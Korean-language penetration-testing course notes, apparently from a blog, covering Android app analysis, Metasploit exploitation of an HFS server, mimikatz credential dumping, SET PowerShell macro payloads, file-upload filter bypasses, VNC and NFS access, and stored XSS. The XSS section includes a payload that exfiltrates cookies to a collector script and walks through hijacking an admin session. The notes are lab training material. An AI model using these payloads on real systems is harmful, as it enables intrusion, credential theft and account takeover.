저번처럼 서버에 접속한다








dex2jar 를 사용해서 파일을 만들어준다


java 디컴파일 툴을 이용해서 파일을 올려준다 소스코드를 확인하기 위해서 (버전 업데이트가 안되서 못씀)







그럼 뭘 쓰냐


Bytecode 를 사용한다 이 툴은 위에서 했던것 다 필요없이 apk 파일만 올리면 알아서 자바 소스코드를보여준다







PostLogin.class 에서





파일명을 변경해준다.



window7 에서 지니 모션을 이용하여 안드로이드 파일 설정 


아이디:jeonminyong

비밀번호:gkdl43121938


안드로이드 구조


취약점 찾는건 보통 APPLICATIONS ,APPLICATION FRAMEWORK 에서 찾게 된다


응용 프로그램의 권한 관리

-안드로이드에 설치된 모든 응용프로그램은 일반 사용자 권한으로 실행됨

-응용 프로그램이 사용자의 데이터에 접근할 때 모든 사항을 응용프로그램 사양에 명시

-접근 시 사용자의 동의를 받도록 하고있음

-모든 응용 프로그램은 설치 시 자신의 고유한 사용자 ID를 할당 받아서 동작



안드로이드 루팅을 해서 디렉토리를 확인해보면


디렉토리를 확인할 수 있다.


안드로이드 앱 설치






#>adb logcat -실시간으로 값들을 확인할 수 있다.





python app.py로 서버를 연결하고

jack


Jack@123$

아이디 비밀번호 설정하면 로그인이 완료된다




안드로이드 어플 설치할려면

https://apkpure.com/

여기서 검색 하면 된다.







취약점



1.logcat에 중요정보가 평문으로 나오면 안된다




2.internal Storage(내부 저장소)-접근 X

중요 정보를 설정할 수 밖에 없다.

조건> 꼭 안전한 암호화, 토큰 방식

sha25 이상 




-database :앱에 필요한 정보 저장. sqlite db 저장. ex) test.db

-cache

-lib:라이브러리,so파일 저장,c,c++로 컴파일된 파일(분석하기 까다롭다)

-files:앱에 필요한 기타 파일

-shared_prefs: 설정 파일이 포함 

.....


#cd databases




안에 정보를 확인하고 싶으면

SQLite 로 확인해야하는데 adb를 사용해서 pull 해준 다음에 불러와서 확인할 수 있다.




#cd shared_prefs




개인 정보를 확인할 수 있다.





아이디만 안다고 취약점? 이라고 생각할 수 있는데 이 정보를 가지고 자동로그인등 변조가 가능하면 이건 취약점이다


그래서 키 관리가 중요하다 암호화 방식에 대해서


기술 안내서를 참고해서 적어준다.



External Storage(외부 저장소)


누구나 접근이 가능한곳 중요한 정보가 있으면 안된다.


Statements_jack.html 정보를 확인해보면 거래 내역이 있다.(취약점)






apk->dex->smali->class->java








msfvenom - msfpayload + msfencoder 을 이용하여 웹쉘을 생성한다






웹쉘이 있으면 핸들러가 꼭 필요하다


핸들러 생성을 위해 msfconsole을 사용한다







실행시키고 핸들러를 생성 시켜주면 된다.


공식 개념으로 외워서 사용하면 편하다




바인드<->리버스 개념을 확실히 알고 가야한다 (개념 다시 정리)


바인드:공격자가 대상자에게 직접적인 공격을 가하는거(방화벽에서 차단되기 때문에 잘 사용을 못한다)

리버스:대상자가 공격자에게 직접 붙게하는거



리버스 쉘

리버스 쉘은 공격 대상이 공격자에게 통신하도록 만드는 쉘이다. 공격자는 코드나 커맨드 실행의 성공 후 발생하는 연결을 수신할 리스너 포트를 가져야 한다.



그림 1: 리버스 TCP 쉘


바인드 쉘

바인드 쉘은 공격 대상이 자신의 호스트에 리스너 포트를 열고 들어오는 연결 요청을 대기하게 만드는 쉘이다. 공격자는 공격 대상의 리스닝 포트에 접속하여 추가적인 코드나 커맨드를 실행할 수 있게 된다.



그림 2: 바인드 TCP 쉘


실습을 위해 비박스에 파일업로드 취약점 부분에 생성한 웹쉘을 업로드 한다


웹쉘을 파일을 업로드하면 연결된걸 확인할 수 있다.



윈도우 대상으로 취약점을 조사하기위해서 portfwd를 이용해서 연결시켜준다


meterpreter를 획득하는게 가장 쉽다(포트포워딩)



portfwd add -l 8888 -p 80 -r 192.168.74.133






접속된걸 확인할 수있다.



hfs 서버 취약점 점검 하기

hfs 서버를 왜 이용하는지 이건 뭔지 조사하기 

()




https://www.exploit-db.com/exploits/34668/

exploit-db에 올라온 hfs 취약점을 확인해보면



칼리리눅스에서 윈도우 ip로 접근해 공격 코드를 삽입하게 되면



cmd 창을 켤서 공격이 가능하다





다음은 msf를 이용하여 hfs 취약점으로 공격을 해보면



순서대로  

1.search hfs

2.use exploit/windows/http/rejetto_hfs_exec

3.set RHOST 대상IP

4.set RPORT 80

5.exploit


하면 meterpreter 로 연결된걸 확인할 수 있다.



밑에서 부터는 공격 예시 






screenshot도 가능하고

hashdump 하면 계정 정보도 출력이 가능하다




계정 정보를 hash 값 말고 평문으로 확인하고 싶으면


load mimikatz

load powershell 






이렇게 접속하여 주면 된다




이제 사용자 대상으로 접근해보면

1) cd /usr/share/set


2) ./setoolkit


많은 메뉴의 공격 방법이 있다





1번을 살펴보면 

1누르고 엔터




9번의 파워쉘을 사용하고



1번을 사용하였다

그럼 DNS reverse host 를 입력하라고 나오는데 칼리 리눅스 ip주소를 입력후

그뒤는 기본값을 원하니까 엔터를 입력해준다


listenser를 사용한다고 yes를 눌러준다




그리고 만들어진 파일을 확인해보면 확인을 할 수 있다.



만들어진 파워 쉘을 html 밑에 powershell.txt 로 복사해서 만들어주면 




만들어서 메크로 실행하면 파워쉘이 실행된다 !





파일 업로드 취약점에 대해


파일 업로드 취약점?

DBMS Connection 정보


파일 업로드 취약점이 발생하는곳


게시판에 첨부파일 특히 사진 업로드하는 부분

올릴때 버프스위트로 값을 잡아서 자바스크립트에서 걸러주는걸 제거해야한다


웹쉘-서버사이드 스크립트 허용

    -경로 노출(절대 경로)




1.자바스크립 방어(X)->버프스위트로 우회가 가능하다

  ->방어:서버사이드로 방어

  *블랙리스트 방식*<-이게 문제이다


2.확장자를 바꿔가면서 올려야한다 -IIS 허용? asa,cer 등등 우회가 가능하다->그래서 화이트리스트 방식으로 해야한다

php실행 확장 유형

ex)php3,php4 로 바꾸어 올리면 가능하다

방어:화이트리스트 방식



3.IIS취약점


a3_shell.asp;jpg 업로드 가능하다







웹쉘 차단




shelldetect.php


아이디:admin

비밀번호: protect







shelldetect.php 에서 디렉토리를 수정해주고





webshell 을 가지고 오고 다시 디텍터를 키면 







phpshelldetect 는 두가지 방법으로 막아준다 

1.해시값

2.시그니처



파일 업로드 취약점 대응방안 -NeoPI.py 활용


-IC(Index of Coincidence)

문장에 사용하는 텍스트 비율을 통계 내어 암호화 여부를 확인해 구분한다.

즉,정상적인 텍스트가 아닌 특별한 텍스트를 탐지하는데 적합


-Entropy

엔트로피는 어떠한 데이터를 표현하기 위한 평균 정보량을 의미. 데이터가 많을수록 엔트로피가 높은 파일이고, 암호화된 파일의 엔트로피가 높으면 암호화된 텍스트가 많음



-LongestWord

가장 긴 문자열을 식별하여 웹쉘을 찾아내는 방식으로,문자열이 길어지는 이유는 중요한 소스코드를 한 문장으로 인코딩하기 때문















내부 모의해킹 Nessus 최고


내부 모의해킹(고객사)

정기적으로 내부 시스템에 대해서 점검을 하게된다

많은 포트가 열려있지만 접근 통제 솔루션을 두어 접근 할 수있는 포트를 지정하고 제어한다

자주 하지 않아서 많이 취약한 부분이다.


 

외부-웹해킹/모바일(주로 80포트로 사용)


Nessus 취약점 진단 개요


1.Server-Client 구조로 취약점 점검을 하는 서버와 취약점 점검 설정과 결과물을 제공하는 클라이언트로 구성되어있다.


2.플로그 인으로 자세한 부분까지 점검이 가능하고 개발사는 매주 플로그 인을 계속해서 만들어 내고 있으면 사용자도 또한 플로그인 수정이 가능하다


3.스캔의 결과를 XML,HTML,PDF 등 다양한 포맷의 형태로 리포팅 해준다


Scan template

Advaced Scan 을 일반적으로 사용하지만 

PCI-DSS,DROWN Detection등 알아두면 좋은 기능들이 많다



*Advaced Scan을 사용하여 보면




New Scan


metaspoitableV2를 대상으로 Scan을 해보면





취약점 Scan이 중요 순서대로 출력되었다




1524 포트로 접근이 모두 가능하다는 소리이다



VNC 설정 미흡 취약점도 발견되었다

VNC(Virtual Network Computing, 가상 네트워크 컴퓨팅)는 컴퓨터 환경에서 RFB 프로토콜을 이용하여 원격으로 다른 컴퓨터를 제어하는 그래픽 데스크톱 공유 시스템이다


모의해킹 관점에서는 VNC 설정 미흡 취약점에서 발견되었다고 끝나는게 아니라 VNC 취약점으로 칼리리눅스에서 접근이 가능하다는 것을 확인하는 보여주어야 한다 



$cd /var/tmp

echo "password" | vncviewer 192.168.74.129 -autopass





불필요한 nfs 



nfs 파일에 대해 접근을 해보기 위해

showmount 를 사용해야하는데 설치를 해주어야 한다 

apt-get install nfs-common





showmount -e 옵션을 사용해서 결과를 확인 할 수 있다.





nfs는 네트워크 파일 시스템 약자로 리눅스/유닉스 시스템에서 파티션를 공유해서 원격에서도 공유된 파티션을 마치 로컬 파티션 처럼 사용할 수 있는 기능이다.


파일 시스템을 확인해보면



mount -t nfs 192.168.74.129:/ /nfsmount -o nolock




df 명령어는 침해대응에서도 많이 사용하는데 자기가 하지 않은 mount 가 있을경우  백도어가 연결이 되어 있다고 생각하고 df 명령어로 확인 할 수있다



rlogin,rsh 

둘다 root권한으로 바로 들어갈수 있어서 취약점이다.





vsFTP 서버가 노출되어 있다. 


vsFTP 서버가 노출되었다는 소리는 백도어가 있다는 소리인데 모의해킹 관점에서는 백도어가 어디 열려있는지 확인 해야한다. 




노출된 정보를 exploit database 에 검색해서 확인해 볼수도 있고 



칼리 리눅스에서도 확인 할 수 있고




메타스플로잇 에서도 사용이 가능하다 

service postgresql start

mfsconsole

search vsftpd




6200번 포트가 열려있는걸 확인할 수 있다 이건 개발자가 자기가 설정을 해놓고 주석처리를 했어야 하는데 그러지 못해서 발생한 오류이다 





*CVSS base score-영향도 평가

https://nvd.nist.gov/vuln-metrics/cvss/v2-calculator










Attack Vector 

Local : 물리적 분리 접근이 어려움

Adjacent Network :내부에서 접근 가능

Network:외부에서 접근 가능


Access Complexity

LOW:쉽게 공격할 수 있는

Medium:중간 단계

High:많이 어려운 


Authentication 인증

None:아무나 

Single:아이디 패스워드

Multiple:아이디 패스워드 ,otp 


신뢰성:정보를 가지고 올 수 있냐 

무결성:데이터를 조작할수 있냐

가용성: 서비스를 중단할수 있냐 




NFS 취약점을 CVSS 점수로 나눠주면 



CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

기준에 따라서 확인 하면 
















Cross Site Scripting?


사이트 간 스크립팅(또는 크로스 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다 

-persistent(or stored)

데이터 베이스에 스크립트를 저장되어 지속적으로 발생한다 

-reflected

저장이 되지 않아서 지속적이지 않는다. 메세지에 보낸다거나 액션들을 발생하게 하는것

요즘은 잘 취약점으로 접근하지 않는다 

더 자세한 기본적 개념이 알고싶으면 http://01092090536.tistory.com/29  참고하면 좋을 것 같다 


XSS 취약점이 존재하는지 간단하게 확인하는 방법은 alert창이 뜨나 안뜨나를 확인하는것이다


<실습 환경> 

비박스 

1.XSS - Stored (Blog)




1).우선 기본적으로 <script>alert(1);</script> 삽입하여 스크립트가 실행되는지 부터 확인한다




스크립트를 삽입하고 Submit 버튼을 클릭하면 



페이지가  작동하지 않는다는 화면이 출력된다 

이유는 브라우저 마다 차이는 있지만 기본적인 XSS에 대한 필터링을 하고있다 

크롬은 한번더 클릭하면 접속할수 있다 




접속하면 <script>alert(1);</script> 입력한 1의 알림창이 나온다 





2).이제 실제로 필요한 정보를 가지고 오기 위해서 쿠키 정보를 가지고 오면

<script>alert(document.cookie);</script> 삽입을 해준다 

XSS 공격이 성공하면 쿠키 정보도 가지고 올수 있는것을 볼수있다



자바 스크립트 말고 iframe,img 등 형태로도 정보를 탈취할수있다  

<iframe src="http://www.naver.com"></iframe>







<실습>

2.gmshop 쇼핑몰 대상 XSS 공격


설정

chmod 777/var/www 권한을 설정해야한다 





document.write("<iframe src='http://localhost/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");

사용자가 코드가 삽입된 페이지를 접속하면 공격자의 cookie.php에 의해서  쿠키 정보가 탈취된다 


cookie.php를 살펴보면  탈취되는 정보를 확인할수있다


탈취된 정보를 cookie.html을 정확하게 살펴 보면 


시간, 브라우저,이전주소,쿠키,아이피가 탈취된것을 볼수있다 


!공격 방법

document.write("<iframe src='http://localhost/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");

이런 식으로 파일로 안보내고 긴 문장으로 보낼때는 iframe,cookie,길이제한 등 막을수 있는 방법이 너무 많기 때문에 실무에서는 절대 이렇게 보내지 않고 파일형태로 전송하게 된다 

공격방법은 

<script src="http://localhost/a.js"></script>


사용자 쿠키 획득 (실무)->Replay Attack (쿠키 재사용 공격)

           ->하이재킹 공격(네트워크 패킷)


공격 과정:a.js->cookie.php->cookie.html (chmod 777 cookie.html)


 

시나리오
A공격자(Chrome),B사용자(IE)

1.A공격자 ->게시판 스크립트 삽인 <-B사용자 접근

2.B사용자의 쿠키 정보 수집(cookie.html 확인)

3.A공격자 버프스위트 이용해서 Cookie에 B사용자 것 적용 

그래서 권한을 가지고 올수 있도록 적용한다




1.공격자A(크롬) 이 게시판에 스크립트를 삽입한다 


2.사용자(IE)가 글을 클릭할 경우 스크립트가 실행되면서 Cookie.html로 사용자에대한 정보가 전송되는걸 확인할수있다. 

 


쿠키를 획득 할수 있다

 

 

3.버프스위트를 이용해서 쿠키 정보를 가지고 권한을 획득 할수있다

 

공격자는test1이라는 아이디를 사용했고 사용자는 test2 아이디를 사용했다

사용자의 쿠키 정보를 획득했으니까 이걸 버프스위트를 통해서 쿠키정보를 입력해주면 공격자가 test2의 권한을 획득 할수 있게 되는것이다

 

 

쿠키 값을 변조해주면 권한을 획득 할수 있다

 

 





시나리오

공격자(크롬)->*관리자 권한(IE)*

관리자 권한을 얻는 방법에 대한 시나리오 고민

사용자가 1:1문의게시판에 스크립트를 입력하여 글을 남기면

관리자는 관리자 페이지에서 관리자 권한을 가지고 이 글을 읽게된다

그럼 공격자인 사용자가 cookie.html 에서 쿠키 값을 가지고 관리자 권한으로 접속이 가능하다

이 외에도 많은 경우가 있을수 있고 확인해 봐야겠지만 우선 관리자 권한을 얻는것에 대한 실습을 진행 할 수 있도록한다 (프로젝트로 진행)

관리자 페이지:http://localhost/gmshp/admin/index.php


1.공격자가 관리자랑 접촉할수있는 부분을 찾아야 한다


1:1 문의 게시판을 통해 취약점 확인을 한다

 

 

 

2.1:1문의 게시판에 공격코드가 담긴 글을 작성하여 관리자에게 글을 남기도록 한다

 

 

 

3.관리자가 글을 확인하면 쿠키 정보를 획득한다

 

 

관리자 쿠키를 획득 하였다

 

 

 

4.공격자가 쿠키를 이용해서 관리자의 권한을 얻는다

버프스위트를 사용해서 바꿔도 괜찮고

크롬에 EditThisCookie 기능을 이용하여 쿠키값만 관리자 쿠키로 변경해주면 완료된다

 

 

 

// 만약 취약점을 분석하다가 게시판이 깨질 경우가 있으면

프록시로 잡아서 html 오류를 수정해주고

들어가서 DB에 값을 수정해서 최종으로 수정해준다

주로 글자수 제한이 걸려서 오류가 나는 경우가 많은데 글자수를 변경해주면 수정이 가능하다(나름 XSS 대응 방안으로 사용)

-> 이걸 또 뚫는법은 짧은url을 사용해서 길이를 줄이는 방법도 있다.  구글에 단축url을 검색하면 가능하다

 

 

 

 


공격 패턴은

XSS Filter Evasion Cheat Sheet 하나하나 보면서 확인 해야한다

 

 



-DOM Based XSS


모의해킹 기본 개념:취약점 (발생)-> 공격 백터(Attack Vector)->위협(평가)->info(위협 수용)

+ Recent posts